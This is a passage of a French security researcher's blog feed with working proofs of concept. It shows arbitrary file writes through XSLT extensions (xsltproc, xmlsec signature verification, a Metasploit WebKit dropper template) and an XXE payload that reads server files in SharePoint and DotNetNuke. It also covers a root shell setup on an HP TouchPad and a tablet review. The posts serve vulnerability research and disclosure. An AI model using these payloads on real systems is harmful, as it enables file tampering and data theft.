<p>Le fichier XML (<a href="/docs/min.xml.txt" target="_blank">t&eacute;l&eacute;charger</a>) :</p>
<pre>  1  &lt;?xml version="1.0"?&gt; 
  2  &lt;doc&gt;
  3  &lt;evil&gt;Here's the payload&lt;/evil&gt;
  4  &lt;normal&gt;Something else&lt;/normal&gt;  
  5  &lt;/doc&gt;</pre>
<br/>
<p>Rien de particulier &agrave; dire : un champ sera affich&eacute; &agrave; l'&eacute;cran (ligne 4), l'autre devant &ecirc;tre &eacute;crit dans un fichier (ligne 3).
<p>Le fichier XSL (<a href="/docs/min.xsl.txt" target="_blank">t&eacute;l&eacute;charger</a>) :</p>
<pre>  1  &lt;xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  2             xmlns:sx="http://icl.com/saxon"
  3             extension-element-prefixes="sx"
  4             version='1.0'&gt;
  5    &lt;xsl:template match="doc/evil"&gt;
  6      &lt;sx:output href="/tmp/0wn3d" method="text"&gt;
  7          &lt;xsl:apply-templates/&gt;
  8      &lt;/sx:output&gt;
  9    &lt;/xsl:template&gt;
 10  &lt;/xsl:stylesheet&gt;</pre>
<br/>
<p>On commence par d&eacute;finir deux espaces de nommage (<i>namespace</i>) : "xsl" qui pointe vers les fonctionnalit&eacute;s d&eacute;crites dans la version 1.0 de la norme XSLT (ligne 1) et "sx" qui pointe vers certaines extensions propres &agrave; libxslt (ligne 2). Il est &agrave; noter que la fonction de cr&eacute;ation de fichier est appelable depuis plusieurs autres <i>namespaces</i> : "http://exslt.org/common", "org.apache.xalan.xslt.extensions.Redirect", "http://www.jclark.com/xt", ...</p>
<p>Il suffit ensuite de d&eacute;finir un <i>template</i> correspondant &agrave; notre payload (ligne 5), de rediriger la sortie vers un fichier (ligne 6) puis d'appliquer le <i>template</i> (ligne 7). Jusque l&agrave;, c'est simple, non ? L'ex&eacute;cution en ligne de commande :</p>
<pre>nico ~ > xsltproc min.xsl min.xml | hd
00000000  3c 3f 78 6d 6c 20 76 65  72 73 69 6f 6e 3d 22 31  |&lt;?xml version="1|
00000010  2e 30 22 3f 3e 0a 0a 0a  53 6f 6d 65 74 68 69 6e  |.0"?&gt;...Somethin|
00000020  67 20 65 6c 73 65 20 20  0a 0a                    |g else  ..|

nico ~ > cat /tmp/0wn3d | hd
00000000  48 65 72 65 27 73 20 74  68 65 20 70 61 79 6c 6f  |Here's the paylo|
00000010  61 64                                             |ad|
00000012</pre>
<br/>
<p><img src="http://www.agarri.fr/images/bullet.gif"/>&nbsp;Essayons maintenant d'appliquer cela &agrave; xmlsec. Depuis les pr&eacute;sentations par iSec &agrave; Blackhat en 2007, on sait que certains moteurs XML-DSIG supportent XSLT. Les <a href="http://www.w3.org/TR/xmldsig-bestpractices/" target="_blank">bonnes pratiques</a> ont beau d&eacute;conseiller cela, on en trouve encore r&eacute;guli&egrave;rement dans la nature. Comme par exemple xmlsec ... Ce qui permet d'ex&eacute;cuter du code XSLT lors d'une v&eacute;rification de signature.</p>
<br/>
<p>Le fichier &agrave; v&eacute;rifier (<a href="/docs/xmldsig.txt" target="_blank">t&eacute;l&eacute;charger</a>) :</p>
<pre>  1 &lt;ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"&gt;
  2   &lt;ds:SignedInfo&gt;
  3     &lt;ds:CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"&gt;&lt;/ds:CanonicalizationMethod&gt;
  4     &lt;ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"&gt;&lt;/ds:SignatureMethod&gt;
  5     &lt;ds:Reference URI="#Payload"&gt;
  6       &lt;ds:Transforms&gt;
  7         &lt;ds:Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments"&gt;&lt;/ds:Transform&gt;
  8         &lt;ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"&gt;
  9           &lt;xsl:stylesheet extension-element-prefixes="sx" version="1.0" xmlns:sx="http://icl.com/saxon"
                                                          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
 10             &lt;xsl:template match="/"&gt;
 11               &lt;sx:output file="/tmp/0wn3d" method="text"&gt;
 12                 &lt;xsl:apply-templates/&gt;
 13               &lt;/sx:output&gt;
 14             &lt;/xsl:template&gt;
 15           &lt;/xsl:stylesheet&gt;
 16         &lt;/ds:Transform&gt;
 17       &lt;/ds:Transforms&gt;
 18       &lt;ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"&gt;&lt;/ds:DigestMethod&gt;
 19       &lt;ds:DigestValue&gt;ipbs0UyafkdRIcfIo9zyZLce+CE=&lt;/ds:DigestValue&gt;
 20     &lt;/ds:Reference&gt;
 21   &lt;/ds:SignedInfo&gt;
      .....
 60       &lt;/ds:DSAKeyValue&gt;
 61     &lt;/ds:KeyValue&gt;
 62   &lt;/ds:KeyInfo&gt;
 63   &lt;ds:Object Id="Payload"&gt;Here's the payload !&lt;/ds:Object&gt;
 64 &lt;/ds:Signature&gt;</pre>
<br/>
<p>On d&eacute;finit une r&eacute;f&eacute;rence interne au document (fragment "#Payload", ligne 5) qui pointe vers un objet d&eacute;fini &agrave; la fin du fichier (ligne 63). On d&eacute;finit &agrave; l'int&eacute;rieur de la r&eacute;f&eacute;rence deux transformations : une canonicalisation <a href="http://www.w3.org/TR/xml-c14n" target="_blank">C14N</a> (ligne 7) et une transformation XSLT (ligne 8). Le code de la transformation est d&eacute;fini des lignes 9 &agrave; 15 et est tr&egrave;s similaire au code vu pr&eacute;c&eacute;demment.<p>
<br/>
<p>Lors de la v&eacute;rification de signature, on obtient ceci :<p>
<pre>nico ~ > xmlsec1 --verify xmldsig.txt
func=xmlSecOpenSSLEvpDigestVerify:file=digests.c:line=229:obj=sha1:subj=unknown:error=12:invalid data:data and digest do not match
FAIL
SignedInfo References (ok/all): 0/1
Manifests References (ok/all): 0/0
Error: failed to verify file "xmldsig.txt"
nico ~  > cat /tmp/0wn3d | hd         
00000000  48 65 72 65 27 73 20 74  68 65 20 70 61 79 6c 6f  |Here's the paylo|
00000010  61 64 20 21                                       |ad !|
00000014</pre>
<br/>
<p>Ca marche ;-) Evidemment, la signature n'est pas valable, mais l&agrave; n'est pas le but de cet exemple.</p>
<br/>
<p><img src="http://www.agarri.fr/images/bullet.gif"/>&nbsp;Mainteant, au tour de Webkit ! Il est tout &agrave; fait possible d'utiliser les fichiers XML et XSLT vu pr&eacute;c&eacute;demment, en ajoutant simplement au fichier XML une <i>processing instruction</i> indiquant au moteur o&ugrave; trouver le code XSLT :<p>
<pre>&lt;?xml-stylesheet href="min.xsl" type="text/xsl" ?&gt;</pre>
<br/>
<p>Mais il est possible de faire mieux (utilisation de variables, code XSLT contenu dans le fichier XML, sortie en XHTML ou SVG, ...), comme document&eacute; dans l'<a href="http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13994/entry/modules/auxiliary/server/webkit_xslt_dropper.rb" target="_blank">exploit</a> pour Metasploit (<a href="/docs/msf-svg.txt" target="_blank">t&eacute;l&eacute;charger</a>) :</p>
<pre>  1 &lt;?xml-stylesheet type="text/xml" href="#fragment"?&gt;
  2 &lt;!-- Define the DTD of the document
  3      This is needed, in order to later reference the XSLT stylesheet by a #fragment
  4      This trick allows to have both the XML and the XSL in the same file
  5      Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html --&gt;
  6 &lt;!DOCTYPE doc [
  7  &lt;!ATTLIST xsl:stylesheet
  8  id ID #REQUIRED
  9 &gt;]&gt;
 10 &lt;doc&gt;
 11 
 12 &lt;!-- Define location and content of the file --&gt;
 13 &lt;path&gt;&lt;![CDATA[#{path}]]&gt;&lt;/path&gt;
 14 &lt;content&gt;&lt;![CDATA[#{content}]]&gt;&lt;/content&gt;
 15 
 16 &lt;!-- The XSLT stylesheet header, including the "sx" extension --&gt;
 17 &lt;xsl:stylesheet id="fragment" version="1.0" 
 18   xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 19   xmlns:sx="http://icl.com/saxon"
 20   extension-element-prefixes="sx"
 21   xmlns="http://www.w3.org/1999/xhtml" &gt;
 22 &lt;xsl:output method="xml" indent="yes" /&gt;
 23 
 24 &lt;!-- The XSLT template --&gt;
 25 &lt;xsl:template match="/"&gt;
 26         &lt;!-- Create the file --&gt;
 27         &lt;xsl:variable name="path" select="//path/text()"/&gt;
 28         &lt;sx:output file="{$path}" method="text"&gt;
 29                 &lt;xsl:value-of select="//content"/&gt;
 30         &lt;/sx:output&gt;
 31         &lt;!-- Send some output to the browser --&gt;
 32         &lt;html&gt; &lt;/html&gt;
 33 &lt;/xsl:template&gt;
 34 &lt;/xsl:stylesheet&gt;
 35 &lt;/doc&gt;</pre>
<br/>
<p>La premi&egrave;re astuce est l'utilisation d'un DTD d&eacute;finissant un champ "id", permettant au fichier XML de pointer vers du code XSLT contenu dans le m&ecirc;me document. Ainsi, le DTD est d&eacute;fini des lignes 6 &agrave; 10, et la <i>processing instruction</i> (ligne 1) pointe vers un fragement d&eacute;fini en ligne 17. Deux variables (lignes 13 et 14) servent &agrave; recevoir les valeurs d&eacute;finies dans le module auxiliaire pour Metasploit. La version <a href="http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13987/entry/modules/exploits/windows/browser/safari_xslt_output.rb" target="_blank">d&eacute;di&eacute;e &agrave; Windows</a> utilise des valeurs "en dur" permettant l'obtention d'un <i>shell</i> si l'utilisateur est admin de son poste (technique MOF popularis&eacute;e par Stuxnet). Le code ci-dessus g&eacute;n&egrave;re un contenu XHTML, mais pourrait tout aussi bien g&eacute;n&eacute;rer du SVG en ajoutant au document de r&eacute;sultat un DOCTYPE adapt&eacute; :</p>
<pre>&lt;xsl:output method="xml" indent="yes"
   doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
   doctype-public="-//W3C//DTD SVG 1.1//EN" /&gt;</pre>
<br/>
<p>En dehors de xmlsec et webkit, il existe bien d'autres vecteurs (dont le format PDF tel que support&eacute; par Adobe Reader), avec lesquels je joue en fonction du temps que je peux y consacrer. Et il n'est pas improbable que de nouvelles vuln&eacute;rabilit&eacute;s, li&eacute;es &agrave; l'utilisation non restreinte de moteurs XSLT, aparraissent bient&ocirc;t. Il est &agrave; noter que ces probl&egrave;mes ne sont pas limit&eacute;s &agrave; libxslt, loin de l&agrave; ! A titre d'exemple, Adobe Reader X utilise une tr&egrave;s tr&egrave;s vieille version de <a href="http://sourceforge.net/projects/sablotron/" target="_blank">Sablotron</a> ;-)</p>]]>
</description>
</item>
<item>
<link>http://www.agarri.fr/blog/../kom/archives/2011/09/19/hp_touchpad__acc_eacuteder_localement_au_shell/index.html</link>
<guid isPermaLink="true">http://www.agarri.fr/blog/../kom/archives/2011/09/19/hp_touchpad__acc_eacuteder_localement_au_shell/index.html</guid>
<title>HP TouchPad : accéder localement au shell</title>
<dc:date>2011-09-19T21:06:14+02:00</dc:date>
<dc:creator>Nicolas Grégoire</dc:creator>
<dc:subject>touchpad</dc:subject>
<description>
<![CDATA[<p>Suite &agrave; mes <a href="http://www.agarri.fr/kom/archives/2011/08/31/premiers_retours_sur_la_tablette_hp_touchpad/index.html" target="_blank">premiers pas</a> sur la tablette HP TouchPad, je souhaitais disposer d'un shell accessible localement (c'est-&agrave;-dire sans cable USB ni connexion r&eacute;seau). Le client de base sous webOS &eacute;tant le navigateur, un shell "webifi&eacute;" semblait &ecirc;tre une bonne solution. Apr&egrave;s avoir regard&eacute; l'offre c&ocirc;t&eacute; logiciels libres (et essay&eacute; les d&eacute;mos pr&eacute;sentes sur le <a href="http://anyterm.org/demos.html" target="_blank">site d'AnyTerm</a>), le logiciel <a href="http://code.google.com/p/shellinabox/" target="_blank">shellinabox</a> a &eacute;t&eacute; retenu, dans sa version svn (r239).</p>
<br/>

<p>Pour mener &agrave; bien la manip d&eacute;crite ci-dessous, il faut :</p>
<ul>
<li>une machine Unix pour r&eacute;aliser la compilation (ici Ubuntu x86 32 bits)</li>
<li>un compilateur cross-platform (ici celui de Sourcery)</li>
<li>un HP TouchPad accessible en ligne de commande via SSH ou novaterm (ici v3.0.2)</li>
</ul>
<br/>

<p>Premi&egrave;re &eacute;tape, le compilateur cross-platform ! En raison de soucis avec le compilateur inclus dans le PalmPDK, nous utiliserons <a href="http://www.codesourcery.com/sgpp/lite/arm/portal/release1803" target="_blank">Sourcery G++ Lite 2011.03-41 for ARM GNU/Linux</a>. Le r&eacute;capitulatif des diff&eacute;rentes &eacute;tapes :</p>
<br/>
<p>T&eacute;l&eacute;charger le fichier "IA32 GNU/Linux TAR" et le d&eacute;compresser :</p>
<pre>
$> tar xvjf arm-2011.03-41-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2
</pre>
</br>
<p>Se d&eacute;placer dans le r&eacute;pertoire o&ugrave; sont stock&eacute;s les binaires et les renommer afin de manipuler les noms usuels (gcc, objcopy, ...) :</p>
<pre>
$> cd arm-2011.03/bin
$> rename 's/arm-none-linux-gnueabi-//' *
</pre>
</br>
<p>Modifier $PATH afin de pointer d'abord vers ces binaires :</p>
<pre>
$> which gcc
/usr/bin/gcc
$> PATH=/home/nicob/arm-2011.03/bin:$PATH
$> export PATH
$> which gcc
/home/nicob/arm-2011.03/bin/gcc
</pre>
<br/>

<p>Et voil&agrave;, le compilateur cross-platform sera donc appel&eacute; par d&eacute;faut (dans ce shell) quand gcc sera invoqu&eacute;.</p>
<br/>

<p>Deuxi&egrave;me &eacute;tape : OpenSSL ! Preware propose les paquets openssl et libssl, qui sont n&eacute;cessaires &agrave; l'installation d'OpenSSH. Il serait donc possible d'utiliser ces paquets (ou ceux du canal parall&egrave;le ipkg-opt), mais cela cr&eacute;&eacute;rait des probl&egrave;mes de d&eacute;pendances. Il faudrait en effet fournir un binaire pour les utilisateurs de Preware et un pour ceux de ikpg-opt, ou restreindre l'utilisation &agrave; un seul de ces catalogues alternatifs, ou encore fournir une n-i&egrave;me version de ces paquets. Il reste aussi la possibilit&eacute; de r&eacute;aliser une compilation statique. Mais bon, &eacute;tant donn&eacute; que l'objectif est de se connecter <u>localement</u> (c'est-&agrave;-dire via l'interface de loopback), on peut tout aussi bien se passer de SSL et de ce probl&egrave;me ;-) Zou, c'est r&eacute;gl&eacute; ...</p>
<br/>

<p>Troisi&egrave;me &eacute;tape : compiler shellinabox apr&egrave;s application des patchs "kivonbien"</p>
<br/>

<p>On r&eacute;cup&egrave;re la derni&egrave;re version disponible sur Google Code :</p>
<pre>
$> svn checkout http://shellinabox.googlecode.com/svn/trunk/ shellinabox-svn
$> cd shellinabox-svn
</pre>
<br/>

<p>On patch le fichier "vt100.js" (entre autres parceque la notion de "bouton droit" n'existe pas sous webOS) en se basant sur l'exp&eacute;rience d'un <a href="http://www.reddit.com/r/webos/comments/jsrx3/terminal_app_for_touchpad/c2f2f86" target="_blank">utilisateur de Reddit</a> :</p>
<pre>
--- vt100.js.orig       2011-09-19 10:56:56.000000000 +0200
+++ vt100.js    2011-09-19 10:58:58.000000000 +0200
@@ -283,7 +283,7 @@
   this.visualBell           = typeof suppressAllAudio != 'undefined' &&
                               suppressAllAudio;
   this.autoprint            = true;
-  this.softKeyboard         = false;
+  this.softKeyboard         = true;
   this.blinkingCursor       = true;
   if (this.visualBell) {
     this.signature          = Math.floor(16807*this.signature + 1) %
@@ -1124,7 +1124,7 @@
 
 VT100.prototype.resizer = function() {
   // Hide onscreen soft keyboard
-  this.hideSoftKeyboard();
+  // this.hideSoftKeyboard();
 
   // The cursor can get corrupted if the print-preview is displayed in Firefox.
   // Recreating it, will repair it.
</pre>
<br/>

<p>On configure pour ne supporter ni SSL ni PAM puis on compile :</p>
<pre>
$> ./configure --host=arm --disable-ssl --disable-pam 
$> make 
</pre>
<br/>

<p>Voil&agrave;, il ne reste qu'&agrave; copier le fichier sur le TouchPad et &agrave; l'ex&eacute;cuter :</p>
<pre>
$> scp shellinaboxd root@192.168.33.201:
$> ssh root@192.168.33.201
NicolasHPTouchPad root # ./shellinaboxd -b --localhost-only
</pre>
<br/>

<p>Vous pouvez d&eacute;sormais lancer acc&eacute;der via le navigateur &agrave; <a href="http://127.0.0.1:4200/" target="_blank">http://127.0.0.1:4200/</a> (login = root, pas de mot de passe) :</p>
<br/>

<center><img src="http://www.agarri.fr/docs/tp-shellinaboxd.png"></center>
<br/><br/>

<p>Bon, il y a clairement des probl&egrave;mes de mapping du clavier (typiquement, le "-" ne marche pas sur le clavier du TouchPad, il faut utiliser le clavier virtuel de l'application), mais &ccedil;a permet d'avoir un shell minimaliste. Pour un usage au long cours, il faut lancer le binaire au d&eacute;marrage de la tablette, par exemple en ajoutant une ligne "exec /path/to/shellinaboxd -b --localhost-only" &agrave; un script de d&eacute;marrage quelconque comme celui d'OpenSSH. Pour les press&eacute;s et les t&eacute;m&eacute;raires qui veulent juste le binaire, il est disponible <a href="http://www.agarri.fr/docs/shellinaboxd" target="_blank">ici</a>.</p>
<br/>

<p>Depuis la semaine derni&egrave;re, une autre fa&ccedil;on de disposer d'un shell local sous HP TouchPad est propos&eacute;e. En effet, les feeds Stable de Preware ont vu d&eacute;barquer le triplet gagnant Xecutah / Xserver / Xterm :</p>
<br/>

<center><img src="http://www.agarri.fr/docs/tp-xterm.png"></center>
<br/><br/>

<p>Que choisir entre shellinabox et xterm ? Le second est maintenu par la communaut&eacute; et sera probablement r&eacute;guli&egrave;rement actualis&eacute;. Mais il a une empreinte syst&egrave;me assez importante : environ 33 Mo de RAM et 6% de CPU en t&acirc;che de fond, contre 2 Mo et quasiment pas de CPU. Bien s&ucirc;r, le serveur X sera mutualis&eacute; quand d'autres d'applis X tourneront sur la tablette. Autre point n&eacute;gatif pour xterm : les curseurs ne  sont pas pr&eacute;sents (argh !). Du coup, je fais tourner shellinabox en t&acirc;che de fond, avec lancement de xterm si le besoin s'en fait sentir. En tout cas, voil&agrave; le probl&egrave;me de l'acc&egrave;s local au Linux sous-jacent r&eacute;solu !</p>
<br/>

<p>Note finale : si quelqu'un veut produire une version packag&eacute;e pour webOS (au format IPK) de shellinabox, je serais ravi ... et ce serait l'occasion de cr&eacute;er un script de d&eacute;marrage d&eacute;di&eacute; ;-)<p>]]>
</description>
</item>
<item>
<link>http://www.agarri.fr/blog/../kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html</link>
<guid isPermaLink="true">http://www.agarri.fr/blog/../kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html</guid>
<title>Failles de type XEE dans SharePoint et DotNetNuke</title>
<dc:date>2011-09-15T10:44:20+02:00</dc:date>
<dc:creator>Nicolas Grégoire</dc:creator>
<dc:subject>vulnérabilités, xslt</dc:subject>
<description>
<![CDATA[<p>Microsoft vient de publier les bulletins de s&eacute;curit&eacute; du mois de Septembre, dont <a href="http://technet.microsoft.com/security/bulletin/ms11-074" target="_blank">MS11-074</a> concernant (entre autres) SharePoint 2007 et 2010. Je dis "entre autres" car les logiciels impact&eacute;s par <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1892" target="_blank">CVE-2011-1892</a> incluent aussi :</p>
<ul>
<li>c&ocirc;t&eacute; client : Office Groove 2007 et SharePoint Workspace 2010</li>
<li>c&ocirc;t&eacute; serveur : Office Forms Server 2007, Office Groove (Data Bridge|Management) Server 2007, Office Groove Server 2010</li>
<li>c&ocirc;t&eacute; "cloud" : Office Web Apps 2010</li>
</ul>
<p>Il est &agrave; noter que SharePoint 2003 n'est pas vuln&eacute;rable, car il n'inclut pas le composant Web Part vuln&eacute;rable.</p>
<br/>

<p>Pour les personnes ne pratiquant pas couramment SharePoint, un "Web Part" (parfois appel&eacute; "Web Widget" ou "Portlet") est un composant ASP.Net ex&eacute;cut&eacute; c&ocirc;t&eacute; serveur et int&eacute;grable depuis un navigateur &agrave; toute page accessible en modification. Le composant "XML Web Part" prend en param&egrave;tre des donn&eacute;es (sous forme XML) et du code de mise en page (sous forme XSL) et renvoie le code XHTML correspondant aux donn&eacute;es format&eacute;es. Cela permet par exemple d'int&eacute;grer un fil Twitter &agrave; une page SharePoint, comme d&eacute;crit <a href="http://blog.drisgill.com/2009/04/using-xml-web-part-to-show-your-twitter.html" target="_blank">ici</a>.</p>
<br/>

<p>Le probl&egrave;me est caus&eacute; par les <a href="http://cwe.mitre.org/data/definitions/611.html" target="_blank">entit&eacute;s</a> <a href="http://www.securityfocus.com/archive/1/297714" target="_blank">XML</a> <a href="https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)" target="_blank">externes</a>, qui n'&eacute;taient pas interdites dans les versions vuln&eacute;rables. Cela permettait &agrave; n'importe quel utilisateur authentifi&eacute; d'inclure le composant XML Web Part dans une page et de le configurer pour acc&eacute;der en lecture (avec les droits du compte IIS AppPool) au syst&egrave;me de fichiers.</p>
<br/>

<p>Illustrons le probl&egrave;me avec une capture d'&eacute;cran et quelques lignes de code. Le composant #2 se contente d'afficher des informations obtenues via "system-property", alors que le #1 (que nous allons d&eacute;tailler) exploite la vuln&eacute;rabilit&eacute; :</p>
<br/>
<center><img src="http://www.agarri.fr/docs/shpt-xee.png"></center>
<br/><br/>

<p>C&ocirc;t&eacute; XML, on d&eacute;finit un champ "doc" dont la valeur correspond &agrave; la variable "boom", c'est-&agrave;-dire au contenu du fichier d&eacute;clar&eacute; dans le DTD :</p>
<pre>
&lt;!DOCTYPE doc [
&lt;!ENTITY boom SYSTEM "c:\\windows\\system32\\drivers\\etc\\hosts"&gt;
]&gt;
&lt;doc&gt;&boom;&lt;/doc&gt;
</pre>

<p>Et c&ocirc;t&eacute; XSL, il suffit d'afficher la valeur du champ "doc" :</p>
<pre>
&lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt;
        &lt;xsl:template match="/"&gt;
        &lt;xsl:apply-templates/&gt;
                &lt;xsl:value-of select="doc"/&gt;
        &lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;
</pre>

<p>Les syntaxes "c:\\..." ainsi que "http://..." ou "file://..." fonctionnent.</p>
<br/>

<p>Evidemment, le bug n'est pas limit&eacute; aux seuls outils Microsoft. Les autres applications, qu'elles soient "maison" ou "sur &eacute;tag&egrave;re", peuvent elles aussi &ecirc;tre impact&eacute;es. Par exemple, DotNetNuke propose un <a href="http://dnnxml.codeplex.com/" target="_blank">module XML</a> permettant d'afficher le r&eacute;sultat de transformations XSL. La version <a href="http://dnnxml.codeplex.com/releases/view/62862" target="_blank">06.00.00</a> de ce module corrige une vuln&eacute;rabilit&eacute; similaire &agrave; CVE-2011-1892 (d'ailleurs, le m&ecirc;me PoC fonctionne). Pas d'<a href="http://www.dotnetnuke.com/News/Security-Policy.aspx" target="_blank">advisory</a>, pas de cr&eacute;dit, pas de mention explicite dans le ChangeLog :-( Merci DotNetNuke, je m'en souviendrais si je trouve d'autres vulns dans vos produits ...</p>
<br/>
<center><img src="http://www.agarri.fr/docs/dnn-xee.png"></center>
<br/><br/>

<p>Si on regarde le code-source de la version 04.03.05 du module XML de DotNetNUke, on y trouve une fonction XmlSource() (fichier "XmlController.vb") qui appelle XmlReader.Create() avec XmlReaderSettingsWithoutValidation() comme param&egrave;tre. Cette derni&egrave;re fonction est d&eacute;finie comme suit dans "Utils.vbs" :</p>
<pre>
Dim settings As New XmlReaderSettings()
   settings.ProhibitDtd = False
   settings.ValidationType = ValidationType.None
</pre>

<p>La documentation Microsoft (<a href="http://msdn.microsoft.com/en-us/library/ms172415.aspx" target="_blank">System.Xml Security Considerations</a>) est tr&egrave;s claire :<p>
<pre>XML data can include references to external resources such as a schema file. By default external
resources are resolved using an XmlUrlResolver object with no user credentials. This means that, by
default, you can access any locations that do not require credentials. You can secure this further by
doing one of the following:
- Restrict the resources that the XmlReader can access by setting the XmlReaderSettings::XmlResolver
property to an XmlSecureResolver object.
- Do not allow the XmlReader to open any external resources by setting the XmlReaderSettings::XmlResolver
property to null.
</pre>

<p>L'ajout &agrave; la fonction XmlReaderSettingsWithoutValidation() de la ligne "settings.XmlResolver = null" aurait du coup suffi &agrave; corriger le probl&egrave;me, mais les d&eacute;veloppeurs ont pr&eacute;f&eacute;r&eacute; passer &agrave; MSXML6, qui interdit par d&eacute;faut l'utilisation de DTD et du coup bloque l'attaque.</p>
<br/>

<p>Pour conclure :</p>
<ul>
<li>les XEE ne sont pas morts, bien qu'ils aient &eacute;t&eacute; publiquement d&eacute;crits il y a pr&egrave;s de <a herf="http://archive.cert.uni-stuttgart.de/bugtraq/2002/10/msg00421.html" target="_blank">10 ans</a>. Rien que cette ann&eacute;e, j'en ai trouv&eacute; 3 (<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1502" target="_blank">Liferay</a>, DotNetNuke, SharePoint) en analysant des wrappers autour de XSLT et Apple en a corrig&eacute; un dans <a href="http://support.apple.com/kb/HT4723" target="_blank">servermgrd</a> pour MacOS X Server. Sans oublier le <a href="http://www.exploit-db.com/download_pdf/16093/" target="_blank">papier de Kingcope</a> (et oui, un XEE sous Java permet de lister le contenu des r&eacute;pertoires !)</li>
<li>m&ecirc;me si l'impact se limite &agrave; une lecture de fichier, il existe de nombreux cas o&ugrave; cela peut suffire &agrave; compromettre pleinement une application, typiquement par obtention d'un fichier "web.config", "server.xml" ou &eacute;quivalent</li>
</ul>
<br/

<p>EDIT du 15 septembre 2011 à 14h20 : typos diverses, capture d'écran DotNetNuke, ...</p>]]>
</description>
</item>
<item>
<link>http://www.agarri.fr/blog/../kom/archives/2011/08/31/premiers_retours_sur_la_tablette_hp_touchpad/index.html</link>
<guid isPermaLink="true">http://www.agarri.fr/blog/../kom/archives/2011/08/31/premiers_retours_sur_la_tablette_hp_touchpad/index.html</guid>
<title>Premiers retours sur la tablette HP TouchPad</title>
<dc:date>2011-08-31T23:32:10+02:00</dc:date>
<dc:creator>Nicolas Grégoire</dc:creator>
<dc:subject>xslt, touchpad</dc:subject>
<description>
<![CDATA[<p>A moins d'avoir v&eacute;cu dans une cave ces derni&egrave;res semaines, vous avez entendu parler de la tablette HP TouchPad, vendue &agrave; l'origine 479&euro;, puis 399&euro; et maintenant (enfin, quand il y a du stock) 99&euro;. Ce qui causa un rush majeur et la saturation de plusieurs sites de e-commerce. J'ai r&eacute;ussi &agrave; me procurer une de ces tablettes, j'ai pas mal jou&eacute; avec et voici ce qu'il en ressort ...</p>
<br/>

<p>Tout d'abord, les aspects financiers. La tablette avec 16 Go de stockage s'ach&egrave;te &agrave; 99&euro; (pour les plus chanceux) en magasin et entre 200 et 300&euro; sur le march&eacute; sp&eacute;culatif (Le Bon Coin, eBay, ...). Il est &agrave; noter que de nouveaux exemplaires seront vendus en ligne (&agrave; 99&euro; donc) dans les semaines qui viennent, que ce soit via Rue Du Commerce (le 7 Septembre) ou en direct chez HP (plus tard). Ensuite, les accessoires : HP fait de tr&egrave;s grosses promos via sa boutique (commande par t&eacute;l&eacute;phone exclusivement), ce qui permet d'acheter l'<a href="http://h10010.www1.hp.com/wwpc/fr/fr/ho/WF06c/A1-329290-70657-3965892-3965892-5111807-5111810.html?lang=fr&amp;exp=direct&amp;jumpid=in_r11219_fr/fr/hho/psg/etui-ot-li-pu_chev/webos_microsite_hpstore/20110704" target="_blank">&eacute;tui</a> (tr&egrave;s bien coup&eacute;, rien &agrave; voir avec les produits "compatibles") et le <a href="http://h10010.www1.hp.com/wwpc/fr/fr/ho/WF06c/A1-329290-329223-329264-329264-5111791-5112380.html?lang=fr&amp;exp=direct&amp;jumpid=in_r11219_fr/fr/hho/psg/touchstone-ot-li-pu_chev/webos_microsite_hpstore/20110704" target="_blank">chargeur par induction</a> (la classe !) pour 65&euro; seulement. Si on ajoute &agrave; cela les offres promotionnelles incluses dans la tablette (ex : 50 Go chez box.net), on obtient un outil pleinement fonctionnel, mobile et performant pour moins de 200&euro;. Une r&eacute;volution ...</p>
<br/>

<p>Le syst&egrave;me d'exploitation est webOS 3, bas&eacute; sur Linux. La version courante est la 3.0.2 68 sortie d&eacute;but Ao&ucirc;t et qui corrige entre autres ma vuln&eacute;rabilit&eacute; Webkit/XSLT <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1774" target="_blank">CVE-2011-1774</a>. Quasiment tout tourne avec les droits root :</p>
<pre>
NicolasHPTouchPad root # uname -a
Linux NicolasHPTouchPad 2.6.35-palm-tenderloin #2 SMP PREEMPT Sat Aug 6 17:50:47 HST 2011 armv7l GNU/Linux

NicolasHPTouchPad root # ps auwx|grep -v ^root
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
nobody    1966  0.0  0.1   3932  1272 ?        Ss   13:51   0:01 /usr/sbin/mdnsd -debug
pulse     1984 10.3  0.6 245632  5780 ?        S.sl 13:51  19:10 /usr/bin/pulseaudio --log-target=syslog
luna      2050 26.5 12.5 397756 118332 ?       RLsl 13:51  48:55 /usr/bin/BrowserServer -d 30000
luna      2051  0.0  1.4  58824 13216 ?        SLs  13:51   0:01 /usr/bin/BrowserServerMojo
</pre>
<br/>

<p>Il n'y a pas de notion de <i>jail-break</i> sur cet &eacute;quipement, l'environnement &eacute;tant volontairement ouvert. Il est ainsi trivial d'obtenir un shell root depuis un ordinateur &eacute;quip&eacute; de Java et connect&eacute; par USB &agrave; la tablette, via novaterm et le <a href="http://www.webos-internals.org/wiki/Portal:Accessing_Linux" target="_blank">kit de d&eacute;veloppement</a>. On peut toutefois regretter de ne pas pouvoir acc&eacute;der &agrave; un <i>shell</i> depuis la tablette elle-m&ecirc;me (on y reviendra).</p>
<br/>

